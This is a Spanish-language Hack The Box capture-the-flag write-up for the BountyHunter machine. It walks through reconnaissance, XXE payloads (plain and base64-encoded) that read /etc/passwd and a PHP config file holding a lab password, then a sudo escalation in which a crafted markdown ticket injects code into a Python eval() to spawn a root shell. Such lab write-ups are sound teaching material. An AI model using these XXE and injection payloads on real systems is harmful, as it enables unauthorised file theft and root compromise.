HTB Machine BountyHunter

Hack The Box - Machine - BountyHunter

Descripción general

Bienvenido al writeup de la máquina bountyhunter de la plataforma Hack The Box. BountyHunter es una máquina Linux que estuvo activa desde el 24 de julio hasta el 20 de noviembre. En esta máquina encontraremos una vulnerabilidad XXE que usaremos junto con un wrapper PHP para leer ficheros internos y obtener información sensible. Con la información obtenida nos conectaremos por SSH y una vez dentro analizaremos un script Python para descubrir cómo abusarlo y conseguir ejecución de código como root.

Antes de empezar

Conexión VPN con Tmux

Conectamos a la VPN de Hack The Box en segundo plano con tmux

tmux new -s htb
sudo openvpn ~/.vpn/htb.ovpn

Añadir al fichero hosts

Añadimos la máquina al fichero /etc/hosts, comprobamos la conexión con ping y creamos las carpetas de trabajo

echo '10.10.11.100 bountyhunter.htb' >> /etc/hosts
ping -c 1 bountyhunter.htb
mkdir -p ~/htb/bountyhunter.htb/{exploits,fuzz,http,nmap}

Reconocimiento

Escaneo con nmap

Comprobamos todos los puertos que están abiertos, detectamos el servicio y su versión con nmap

nmap -sC -sV -p- -T4 --min-rate=1000 -v -oA all bountyhunter.htb
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Inspección del sitio web

Abrimos Firefox para inspeccionar el sitio web

firefox http://bountyhunter.htb &

Fuzzing con gobuster

Buscamos directorios y ficheros PHP

gobuster dir -u "http://bountyhunter.htb/" -w "/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt" -t 23 -x php -o root_directories_php.fuzz
/assets               (Status: 301) [Size: 321] [--> http://bountyhunter.htb/assets/]
/css                  (Status: 301) [Size: 318] [--> http://bountyhunter.htb/css/]
/db.php               (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 25169]
/js                   (Status: 301) [Size: 317] [--> http://bountyhunter.htb/js/]
/portal.php           (Status: 200) [Size: 125]
/resources            (Status: 301) [Size: 324] [--> http://bountyhunter.htb/resources/]
/server-status        (Status: 403) [Size: 281]

El fichero db.php es interesante — responde con código 200 pero con tamaño 0. Abrimos BurpSuite y navegamos por la web. El enlace al portal en la página principal lleva al Bounty Report System.

Los campos del formulario se convierten a base64 para formar una estructura XML — momento de comprobar la vulnerabilidad XXE.

Acceso Inicial

Usamos CyberChef para generar el payload, aplicando To Base64 y URL Encode con caracteres especiales.

Payload XXE

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
    <title>&xxe;</title>
    <cwe>test</cwe>
    <cvss>test</cvss>
    <reward>test</reward>
</bugreport>

Payload en base64

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIHJlcGxhY2UgWzwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI%2BIF0%2BCjxidWdyZXBvcnQ%2BCiAgICA8dGl0bGU%2BJnh4ZTs8L3RpdGxlPgogICAgPGN3ZT50ZXN0PC9jd2U%2BCiAgICA8Y3Zzcz50ZXN0PC9jdnNzPgogICAgPHJld2FyZD50ZXN0PC9yZXdhcmQ%2BCjwvYnVncmVwb3J0Pg%3D%3D

¿Recuerdas el fichero db.php encontrado en el fuzzing? Lo leemos usando un wrapper PHP:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=db.php"> ]>
<bugreport>
    <title>&xxe;</title>
    <cwe>test</cwe>
    <cvss>test</cvss>
    <reward>test</reward>
</bugreport>

Payload en base64

PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI%2FPgo8IURPQ1RZUEUgcmVwbGFjZSBbPCFFTlRJVFkgeHhlIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCI%2BIF0%2BCjxidWdyZXBvcnQ%2BCiAgICA8dGl0bGU%2BJnh4ZTs8L3RpdGxlPgogICAgPGN3ZT50ZXN0PC9jd2U%2BCiAgICA8Y3Zzcz50ZXN0PC9jdnNzPgogICAgPHJld2FyZD50ZXN0PC9yZXdhcmQ%2BCjwvYnVncmVwb3J0Pg%3D%3D

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Intentamos conectar por SSH con admin y la contraseña, pero falla. Si revisamos el fichero /etc/passwd extraído en el paso anterior, vemos que existe un usuario development.

ssh development@bountyhunter.htb

Escalada de Privilegios

sudo -l

El fichero /opt/skytrain_inc/ticketValidator.py se ejecuta como root. Posible vector de escalada.

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Revisando el código, podemos crear un fichero markdown que logre ejecución de comandos. Creamos exploit.md:

# Skytrain Inc

## Ticket to root

**Ticket Code:**  
\*\*102 + 10 == 112 and **import**('os').system('/bin/bash') == False
python -m http.server 80
cd /tmp
wget http://10.10.15.162/exploit.md
chmod 777 exploit.md
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
/tmp/exploit.md

Un saludo, nos vemos en el próximo challenge.